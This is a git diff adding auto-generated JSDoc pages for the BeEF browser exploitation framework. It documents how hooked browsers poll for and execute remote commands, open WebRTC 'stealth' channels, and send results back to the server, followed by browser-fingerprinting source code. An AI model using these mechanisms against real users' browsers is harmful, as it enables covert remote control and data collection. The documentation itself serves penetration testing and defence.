+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) setTimeout()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.updater.html b/docs/beef.updater.html new file mode 100644 index 000000000..fe3e0a708 --- /dev/null +++ b/docs/beef.updater.html @@ -0,0 +1,731 @@ + + + + + JSDoc: Namespace: updater + + + + + + + + + + +
+ +

Namespace: updater

+ + + + + + +
+ +
+ +

updater

+ + +
+ +
+
+ + +

Object in charge of getting new commands from the BeEF framework and execute them. +The XHR-polling channel is managed here. If WebSockets are enabled, +websocket.ls is used instead.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + +

Members

+ + + +

(static) beefhook

+ + + + +
+

Hook session name.

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) lock

+ + + + +
+

A lock.

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) objects

+ + + + +
+

An object containing all values to be registered and sent by the updater.

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) xhr_poll_timeout

+ + + + +
+

XHR-polling timeout.

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + +

Methods

+ + + + + + + +

(static) execute_commands()

+ + + + + + +
+

Executes the received commands, if any.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) get_commands()

+ + + + + + +
+

Gets new commands from the framework.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) regObject(key, value)

+ + + + + + +
+

Registers an object to always send when requesting new commands to the framework.

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
key + + +String + + + +

the name of the object.

value + + +String + + + +

the value of that object.

+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + +
Example
+ +
beef.updater.regObject('java_enabled', 'true');
+ + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.webrtc.html b/docs/beef.webrtc.html new file mode 100644 index 000000000..5c9671d63 --- /dev/null +++ b/docs/beef.webrtc.html @@ -0,0 +1,3071 @@ + + + + + JSDoc: Namespace: webrtc + + + + + + + + + + +
+ +

Namespace: webrtc

+ + + + + + +
+ +
+ +

webrtc

+ + +
+ +
+
+ + +

Manage the WebRTC peer to peer communication channels. +This objects contains all the necessary client-side WebRTC components, +allowing browsers to use WebRTC to communicate with each other. +To provide signaling, the WebRTC extension sets up custom listeners. +/rtcsignal - for sending RTC signalling information between peers +/rtcmessage - for client-side rtc messages to be submitted back into beef and logged.

+

To ensure signaling gets back to the peers, the hook.js dynamic construction also includes +the signalling.

+

This is all mostly a Proof of Concept

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + +

Members

+ + + +

(static) beefrtcs

+ + + + +
+

To handle multiple peers - we need to have a hash of Beefwebrtc objects. The key is the peer id.

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) globalrtc

+ + + + +
+

To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects +these objects persist outside of everything else. The key is the peer id.

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) rtcrecvchan

+ + + + +
+

To handle multiple event channels - we need to have a global hash of these. The key is the peer id

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) rtcstealth

+ + + + +
+

stealth should only be initiated from one peer - this global variable will contain: +false - i.e not stealthed; or + - i.e. the id of the browser which initiated stealth mode

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + +

Methods

+ + + + + + + +

(static) Beefwebrtc(initiator, peer, turnjson, stunservers, verbparam)

+ + + + + + +
+

Beefwebrtc object - wraps everything together for a peer connection +One of these per peer connection, and will be stored in the beefrtc global hash

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
initiator + +
peer + +
turnjson + +
stunservers + +
verbparam + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#calleeStart()

+ + + + + + +
+

Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#createPeerConnection()

+ + + + + + +
+

Try and establish the RTC connection

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#doAnswer()

+ + + + + + +
+

As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#doCall()

+ + + + + + +
+

RTC - create an offer - the caller runs this, while the receiver runs calleeStart()

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#execCmd()

+ + + + + + +
+

How the browser executes received JS (this is pretty hacky)

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#forceTurn()

+ + + + + + +
+

Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive) +These values are now simply passed in from the config.yaml for the webrtc extension

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#goStealth()

+ + + + + + +
+

This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth"

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#iceCandidateType()

+ + + + + + +
+

Helper method to determine what kind of ICE Candidate we've received

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#initialize()

+ + + + + + +
+

Initialize the object

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#maybeStart()

+ + + + + + +
+

Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#mergeConstraints()

+ + + + + + +
+

Helper method to merge SDP constraints

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#noteIceCandidate()

+ + + + + + +
+

Used to record ICS candidates locally

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#onAddIceCandidateError()

+ + + + + + +
+

Event handler for unsuccessful addition of ICE Candidates

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#onAddIceCandidateSuccess()

+ + + + + + +
+

Event handler for successful addition of ICE Candidates

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#onCreateSessionDescriptionError()

+ + + + + + +
+

If the browser can't build an SDP

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#onDataChannel()

+ + + + + + +
+

When a data channel has been established - within here is the message handling function as well

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#onIceCandidate()

+ + + + + + +
+

When the PeerConnection receives a new ICE Candidate

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#onIceConnectionStateChanged()

+ + + + + + +
+

When the ICE Connection State changes - this is useful to determine connection statuses with peers.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#onRemoteHangup()

+ + + + + + +
+

If a peer hangs up (we bring down the peerconncetion via the stop() method)

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#onSetRemoteDescriptionSuccess()

+ + + + + + +
+

If the browser successfully sets a remote description

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#onSignalingStateChanged()

+ + + + + + +
+

When the signalling state changes. We don't actually do anything with this except log it.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#processMessage()

+ + + + + + +
+

For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function +This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage +against the message directly

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#processSignalingMessage()

+ + + + + + +
+

Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#sendPeerMsg()

+ + + + + + +
+

Shortcut function to SEND a data messsage

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#sendSignalMsg()

+ + + + + + +
+

Send a signalling message ..

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#setRemote()

+ + + + + + +
+

Used to set the RTC remote session

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) Beefwebrtc#stop()

+ + + + + + +
+

Bring down the peer connection

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) rtcpollPeer()

+ + + + + + +
+

This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/beef.websocket.html b/docs/beef.websocket.html new file mode 100644 index 000000000..e4ed72da7 --- /dev/null +++ b/docs/beef.websocket.html @@ -0,0 +1,499 @@ + + + + + JSDoc: Namespace: websocket + + + + + + + + + + +
+ +

Namespace: websocket

+ + + + + + +
+ +
+ +

websocket

+ + +
+ +
+
+ + +

Manage the WebSocket communication channel. +This channel is much faster and responsive, and it's used automatically +if the browser supports WebSockets AND beef.http.websocket.enable = true.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) alive()

+ + + + + + +
+

Polling mechanism, to notify the BeEF server that the browser is still hooked, +and the WebSocket channel still alive. +todo: there is probably a more efficient way to do this. Double-check WebSocket API.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) init()

+ + + + + + +
+

Initialize the WebSocket client object. +Note: use WebSocketSecure only if the hooked origin is under https. +Mixed-content in WS is quite different from a non-WS context.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) send()

+ + + + + + +
+

Send data back to BeEF. This is basically the same as beef.net.send, +but doesn't queue commands. +Example usage: +beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid + +'", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) + +'","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) start()

+ + + + + + +
+

Send Helo message to the BeEF server and start async polling.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/browser.js.html b/docs/browser.js.html new file mode 100644 index 000000000..f357d2678 --- /dev/null +++ b/docs/browser.js.html @@ -0,0 +1,4701 @@ + + + + + JSDoc: Source: browser.js + + + + + + + + + + +
+ +

Source: browser.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Basic browser functions.
+ * @namespace beef.browser
+ */
+beef.browser = {
+
+    /**
+     * Returns the user agent that the browser is claiming to be.
+     * @example: beef.browser.getBrowserReportedName()
+     */
+    getBrowserReportedName: function () {
+        return navigator.userAgent;
+    },
+
+    /**
+     * Returns the underlying layout engine in use by the browser.
+     * @example: beef.browser.getBrowserEngine()
+     */
+    getBrowserEngine: function() {
+      try {
+        var engine = platform.layout;
+        if (!!engine)
+          return engine;
+      } catch (e) {}
+      return 'unknown';
+    },
+
+    /**
+     * Returns true if Avant Browser.
+     * @example: beef.browser.isA()
+     */
+    isA: function () {
+        return window.navigator.userAgent.match(/Avant TriCore/) != null;
+    },
+
+    /**
+     * Returns true if Iceweasel.
+     * @example: beef.browser.isIceweasel()
+     */
+    isIceweasel: function () {
+        return window.navigator.userAgent.match(/Iceweasel\/\d+\.\d/) != null;
+    },
+
+    /**
+     * Returns true if Midori.
+     * @example: beef.browser.isMidori()
+     */
+    isMidori: function () {
+        return window.navigator.userAgent.match(/Midori\/\d+\.\d/) != null;
+    },
+
+    /**
+     * Returns true if Odyssey
+     * @example: beef.browser.isOdyssey()
+     */
+    isOdyssey: function () {
+        return (window.navigator.userAgent.match(/Odyssey Web Browser/) != null && window.navigator.userAgent.match(/OWB\/\d+\.\d/) != null);
+    },
+
+    /**
+     * Returns true if Brave
+     * @example: beef.browser.isBrave()
+     */
+    isBrave: function(){
+        return (window.navigator.userAgent.match(/brave\/\d+\.\d/) != null && window.navigator.userAgent.match(/Brave\/\d+\.\d/) != null);
+    },
+
+    /**
+     * Returns true if IE6.
+     * @example: beef.browser.isIE6()
+     */
+    isIE6: function () {
+        return !window.XMLHttpRequest && !window.globalStorage;
+    },
+
+    /**
+     * Returns true if IE7.
+     * @example: beef.browser.isIE7()
+     */
+    isIE7: function () {
+        return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage && !document.documentMode;
+    },
+
+    /**
+     * Returns true if IE8.
+     * @example: beef.browser.isIE8()
+     */
+    isIE8: function () {
+        return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !window.performance;
+    },
+
+    /**
+     * Returns true if IE9.
+     * @example: beef.browser.isIE9()
+     */
+    isIE9: function () {
+        return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints === "undefined";
+    },
+
+    /**
+     *
+     * Returns true if IE10.
+     * @example: beef.browser.isIE10()
+     */
+    isIE10: function () {
+        return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined";
+    },
+
+    /**
+     *
+     * Returns true if IE11.
+     * @example: beef.browser.isIE11()
+     */
+    isIE11: function () {
+        return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined" && typeof document.selection === "undefined" && typeof document.createStyleSheet === "undefined" && typeof window.createPopup === "undefined" && typeof window.XDomainRequest === "undefined";
+    },
+
+    /**
+     *
+     * Returns true if Edge.
+     * @example: beef.browser.isEdge()
+     */
+    isEdge: function () {
+        return !beef.browser.isIE() && !!window.StyleMedia;
+    },
+
+    /**
+     * Returns true if IE.
+     * @example: beef.browser.isIE()
+     */
+    isIE: function () {
+        return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9() || this.isIE10() || this.isIE11();
+    },
+
+    /**
+     * Returns true if FF2.
+     * @example: beef.browser.isFF2()
+     */
+    isFF2: function () {
+        return !!window.globalStorage && !window.postMessage;
+    },
+
+    /**
+     * Returns true if FF3.
+     * @example: beef.browser.isFF3()
+     */
+    isFF3: function () {
+        return !!window.globalStorage && !!window.postMessage && !JSON.parse;
+    },
+
+    /**
+     * Returns true if FF3.5.
+     * @example: beef.browser.isFF3_5()
+     */
+    isFF3_5: function () {
+        return !!window.globalStorage && !!JSON.parse && !window.FileReader;
+    },
+
+    /**
+     * Returns true if FF3.6.
+     * @example: beef.browser.isFF3_6()
+     */
+    isFF3_6: function () {
+        return !!window.globalStorage && !!window.FileReader && !window.multitouchData && !window.history.replaceState;
+    },
+
+    /**
+     * Returns true if FF4.
+     * @example: beef.browser.isFF4()
+     */
+    isFF4: function () {
+        return !!window.globalStorage && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/4\./) != null;
+    },
+
+    /**
+     * Returns true if FF5.
+     * @example: beef.browser.isFF5()
+     */
+    isFF5: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/5\./) != null;
+    },
+
+    /**
+     * Returns true if FF6.
+     * @example: beef.browser.isFF6()
+     */
+    isFF6: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/6\./) != null;
+    },
+
+    /**
+     * Returns true if FF7.
+     * @example: beef.browser.isFF7()
+     */
+    isFF7: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/7\./) != null;
+    },
+
+    /**
+     * Returns true if FF8.
+     * @example: beef.browser.isFF8()
+     */
+    isFF8: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/8\./) != null;
+    },
+
+    /**
+     * Returns true if FF9.
+     * @example: beef.browser.isFF9()
+     */
+    isFF9: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/9\./) != null;
+    },
+
+    /**
+     * Returns true if FF10.
+     * @example: beef.browser.isFF10()
+     */
+    isFF10: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/10\./) != null;
+    },
+
+    /**
+     * Returns true if FF11.
+     * @example: beef.browser.isFF11()
+     */
+    isFF11: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/11\./) != null;
+    },
+
+    /**
+     * Returns true if FF12
+     * @example: beef.browser.isFF12()
+     */
+    isFF12: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null;
+    },
+
+    /**
+     * Returns true if FF13
+     * @example: beef.browser.isFF13()
+     */
+    isFF13: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/13\./) != null;
+    },
+
+    /**
+     * Returns true if FF14
+     * @example: beef.browser.isFF14()
+     */
+    isFF14: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/14\./) != null;
+    },
+
+    /**
+     * Returns true if FF15
+     * @example: beef.browser.isFF15()
+     */
+    isFF15: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/15\./) != null;
+    },
+
+    /**
+     * Returns true if FF16
+     * @example: beef.browser.isFF16()
+     */
+    isFF16: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/16\./) != null;
+    },
+
+    /**
+     * Returns true if FF17
+     * @example: beef.browser.isFF17()
+     */
+    isFF17: function () {
+        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/17\./) != null;
+    },
+
+    /**
+     * Returns true if FF18
+     * @example: beef.browser.isFF18()
+     */
+    isFF18: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/18\./) != null;
+    },
+
+    /**
+     * Returns true if FF19
+     * @example: beef.browser.isFF19()
+     */
+    isFF19: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/19\./) != null;
+    },
+
+    /**
+     * Returns true if FF20
+     * @example: beef.browser.isFF20()
+     */
+    isFF20: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && window.navigator.userAgent.match(/Firefox\/20\./) != null;
+    },
+
+    /**
+     * Returns true if FF21
+     * @example: beef.browser.isFF21()
+     */
+    isFF21: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/21\./) != null;
+    },
+
+    /**
+     * Returns true if FF22
+     * @example: beef.browser.isFF22()
+     */
+    isFF22: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/22\./) != null;
+    },
+
+    /**
+     * Returns true if FF23
+     * @example: beef.browser.isFF23()
+     */
+    isFF23: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/23\./) != null;
+    },
+
+    /**
+     * Returns true if FF24
+     * @example: beef.browser.isFF24()
+     */
+    isFF24: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/24\./) != null;
+    },
+
+    /**
+     * Returns true if FF25
+     * @example: beef.browser.isFF25()
+     */
+    isFF25: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/25\./) != null;
+    },
+
+    /**
+     * Returns true if FF26
+     * @example: beef.browser.isFF26()
+     */
+    isFF26: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && window.navigator.userAgent.match(/Firefox\/26./) != null;
+    },
+
+    /**
+     * Returns true if FF27
+     * @example: beef.browser.isFF27()
+     */
+    isFF27: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && window.navigator.userAgent.match(/Firefox\/27./) != null;
+    },
+
+    /**
+     * Returns true if FF28
+     * @example: beef.browser.isFF28()
+     */
+    isFF28: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt !== 'function' && window.navigator.userAgent.match(/Firefox\/28./) != null;
+    },
+
+    /**
+     * Returns true if FF29
+     * @example: beef.browser.isFF29()
+     */
+    isFF29: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/29./) != null;
+    },
+
+    /**
+     * Returns true if FF30
+     * @example: beef.browser.isFF30()
+     */
+    isFF30: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/30./) != null;
+    },
+
+    /**
+     * Returns true if FF31
+     * @example: beef.browser.isFF31()
+     */
+    isFF31: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\/31./) != null;
+    },
+
+    /**
+     * Returns true if FF32
+     * @example: beef.browser.isFF32()
+     */
+    isFF32: function () {
+        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/32./) != null;
+    },
+
+    /**
+     * Returns true if FF33
+     * @example: beef.browser.isFF33()
+     */
+    isFF33: function () {
